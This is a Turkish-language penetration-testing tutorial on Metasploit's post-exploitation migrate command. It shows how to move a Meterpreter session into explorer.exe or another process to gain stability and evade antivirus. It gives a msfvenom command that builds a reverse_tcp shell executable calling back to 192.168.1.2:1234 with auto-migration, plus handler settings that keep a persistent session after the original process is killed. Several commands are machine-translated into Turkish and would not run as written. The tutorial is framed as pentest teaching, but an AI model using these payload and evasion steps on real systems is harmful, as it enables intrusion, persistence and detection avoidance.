September 4, 2026
Pentester için Metasploit:
Sızma test uzmanlarının Metasploit Framework’ün sunduğu çeşitli özelliklerden en üst düzeyde yararlanabilmeleri için uygun bir kaynak…
By Codemerteknoloji
4 min read
Sızma test uzmanlarının Metasploit Framework'ün sunduğu çeşitli özelliklerden en üst düzeyde yararlanabilmeleri için uygun bir kaynak sağlamayı amaçlayan bu makale serisinin devamında, migrate komutu ve işlevleri hakkında konuşacağız.
İçindekiler Tablosu
- giriiş
- İşlem Adı ile Geçiş
- İşlem Kimliği ile Geçiş
- Önek Taşıma Yükü Oluşturma
- Önek Ekleme ile Kalıcılık
- Çözüm
giriiş
Migrate komutuna ve seçeneklerine geçmeden önce , migrate komutunun bir sömürü sonrası modülü olarak işlev gördüğünü belirtmeliyiz . Bu komut yalnızca bir makineyi başarıyla sömürdükten sonra kullanılabilir. Sağlanan gösterimde, bir Windows makinesini sömürdük ve ardından bu makinede çalışan işlemlerde migrate komutunu kullandık . Makineyi başarıyla sömürdükten ve bir Meterpreter oturumu elde ettikten sonra, sömürünün çalıştığı işlemi farklı bir işleme aktarmak için Migrate komutunu kullandık .
Bir işlemden diğerine geçişin nedeni aşağıda belirtilebilir.
- Kararlılık : Oturum sağlayan istismarlar ve zararlı yazılımlar, hedef için geliştirilen temel süreçlere kıyasla genellikle kararsız kalır. Sonuç olarak, kararlı süreçlere geçiş daha güvenilir bir bağlantı sağlar.
- Gizleme : Antivirüs yazılımları veya diğer savunma yazılımları genellikle kötü amaçlı dosyaları tarar. Bu nedenle, kötü amaçlı işlemi gizlemek veya örtbas etmek, tespit edilmekten kaçınmaya yardımcı olur.
- Uyumluluk : İstismar sırasında, zararlı yazılımın 64 bit mimari için tasarlanmış olması, ancak elde edilen oturumun 86 bit mimaride çalışan bir işletim sistemine ait olması mümkündür. Bu nedenle, Migrate komutu işlemi yerel ortama taşımaya ve uyumluluğu sağlamaya yardımcı olur.
Artık migrate komutunun temel işleyişini ve migration'ın hangi durumlarda faydalı olduğunu anladığımıza göre , komut seçeneklerini inceleyelim. Çeşitli seçenekleri anlamak için, resimde gösterildiği gibi -Pmigrate komutunu -h seçeneğiyle çalıştırıp yardım bölümünü görüntüleyebiliriz. Yardım menüsünde, migrate etmek istediğimiz işlemin PID'sini belirtme, hedef PID için -h seçeneğini kullanma, işlemin adını belirtmek için -N ve zaman aşımını ayarlamak için -t seçeneklerini buluyoruz.
göç et -h
İşlem Adı ile Geçiş
Öncelikle, işlem adına dayalı geçiş işlemiyle başlayacağız . Genellikle kullanıcılar, işlem kimliğiyle birlikte geçiş işlemini uygularlar . Ancak, Yardım bölümünden anladığımız kadarıyla, işlem adını kullanarak geçişe yardımcı olan bir seçenek de mevcuttur .
Bunu göstermek için, hedef makinede oturumu elde etmek için kullandığımız yükü Explorer.exe işlemine taşıyacağız . Şu anda 7088 işlem kimliğine sahip makinede raj.exe yükünün çalıştığını görüyoruz. Bunu aklınızda tutun çünkü taşıma işlemini gerçekleştirdiğimizde, bu işlem kimliğine göre başarılı taşımayı doğrulayabiliriz.
Windows tabanlı makinelerde Explorer işleminin varsayılan olarak çalıştığını ve Görüntü Yönetimi, Görev Çubuğu ve Başlat Menüsünü yönettiğini zaten biliyoruz . Sonuç olarak, bu işlem makine kapanana kadar çalışır. Bu özellik, Explorer'ı yükü taşımak için ideal bir aday haline getirir. -N seçeneği ve ardından işlem adını kullanarak migrate komutunu çalıştırıyoruz . Ardından, resimde PID 7088'e sahip raj.exe yük işleminin PID 5200'e sahip Explorer işlemine başarıyla taşındığını görüyoruz .
migrate -N explorer.exe
Yükümüzün işlenmesi üzerinde hızlı bir kontrol yapmak için , raj.exe adlı bir işlemi aramak üzere grep ile birlikte ps komutunu tekrar çalıştırdık . Ancak, işlemin Explorer işlemine başarıyla taşındığı için bulunamadığını gözlemledik.
ps | grep raj.exe
İşlem Kimliği ile Geçiş
Şimdi, sızma testlerinin çoğunun aşina olduğu yöntemin gösterimine geçelim. Bu yöntemde, PID kullanarak bir işlemin geçişini gerçekleştirmek için migrate komutu kullanılmıştır. Bunu göstermek için, hedef makinede PID 3556 ile çalışan not defteri işlemini ele alacağız. Bu sadece rastgele bir örnektir, yöntem daha önce gösterildiği gibi herhangi bir işleme veya hatta yük işlemine bile uygulanabilir.
Şimdi, ps komutu yardımıyla hedeflediğimiz işlemi tekrar kontrol edebiliriz. Bu işlem, grep komutuyla daha da kolaylaştırılabilir, çünkü bu komut ilgilendiğimiz işlemi gösterecektir. PID'si 3556 olan işlemi görüyoruz. migrate komutunu kullanacağız ve ardından hedeflenen işlemin işlem kimliğini (PID) ekleyeceğiz. Ve işlemin başarıyla taşındığını görebiliriz.
ps | grep notepad
3556'yı göç ettir
Önek Taşıma Yükü Oluşturma
Daha önce Explorer sürecinin, zararlı yazılımın taşınması için ideal süreç olduğundan bahsetmiştik. Bunu, msfvenom yardımıyla zararlı yazılımı oluştururken de ayarlayabiliriz. Bu, prependmigrate seçeneğiyle istediğiniz zararlı yazılımı oluşturacaktır. Aşağıda verilen resim ve komuttan, Windows makinesini hedefleyen ve 192.168.1.2 IP adresine ve 1234 portuna ters bir shell oluşturan bir zararlı yazılım oluşturduğumuzu görebiliriz. Ancak aynı zamanda zararlı yazılımın Explorer sürecine taşınması gerektiğini de belirtiyoruz. Son olarak, bu zararlı yazılımın hedef tarafından çalıştırılmak üzere yürütülebilir bir dosyaya dönüştürülmesi gerektiğini belirtiyoruz.
msfvenom -p windows/meterpreter/reverse_tcp lhost= 192.168 . 1 . 2 lport= 1234 prependmigrateprocess=explorer. exe prependmigrate= true -f exe > shell. exe
Önek Ekleme ile Kalıcılık
Son olarak, kötü amaçlı işlemi zaten çalışan güvenli bir işleme taşıyacağız ve ardından bu tür bir taşıma ile kalıcılık oluşturmanın mümkün olup olmadığını görmek için işlemi sonlandırmayı deneyeceğiz. Bu, oluşturduğumuz oturumun ömrüne yardımcı olacaktır. Diyelim ki hedef, kullanıcı veya herhangi bir koruma yazılımı olabilir ve makinede kötü amaçlı bir işlem olduğundan şüpheleniyorsa, söz konusu işlemi sonlandırmayı deneyebilir.
Süreci taşırsak , oturumu koruyabilir ve ihtiyaç duyduğumuz erişimi sürdürebiliriz. Daha önce MSFVenom ile oluşturduğumuz yükü kullanarak hedef makinede bir oturum elde ettik. Ek olarak, makinede yükün yürütülmesinden oluşturulan ters kabuğu yakalamak için bir dinleyiciye ihtiyacımız vardı . Yük oluşturma sırasında yapılandırılan tüm parametreleri ayarladık. Oturumu kurar kurmaz, kabuk işleminin PID 8064 ile oluşturulduğunu fark ettik. İşlemi sonlandırmayı denedik ve sonlandırmadan sonra bile oturum aktif kaldı. Bu, hedef makinede kalıcı bir meterpreter oturumunun varlığını gösterdi .
exploit/multi/handler kullanın
set payload windows/meterpreter/reverse_tcp
lhost'u 192.168.1.2 olarak ayarla .
lport 1234'ü ayarla
set prependmigrateprocess explorer.exe
prependmigrate'i true olarak ayarla
faydalanmak
ps | grep shell.exe
8064'ü öldür
sistem bilgisi
Çözüm
Sonuç olarak, Metasploit'in herhangi bir sızma testi uzmanının değerlendirme sırasında kullanabileceği çeşitli küçük yardımcı programlarla dolu olduğunu belirtmek isteriz. Bununla birlikte, bu yardımcı programların gerçekleştirebileceği farklı görevlerin kapsamı, onları kullandığımızdan çok daha geniştir. Bu nedenle, Metasploit Framework'teki migrate komutunun çalışma şeklini tanıtmak için bu makaleyi yazdık.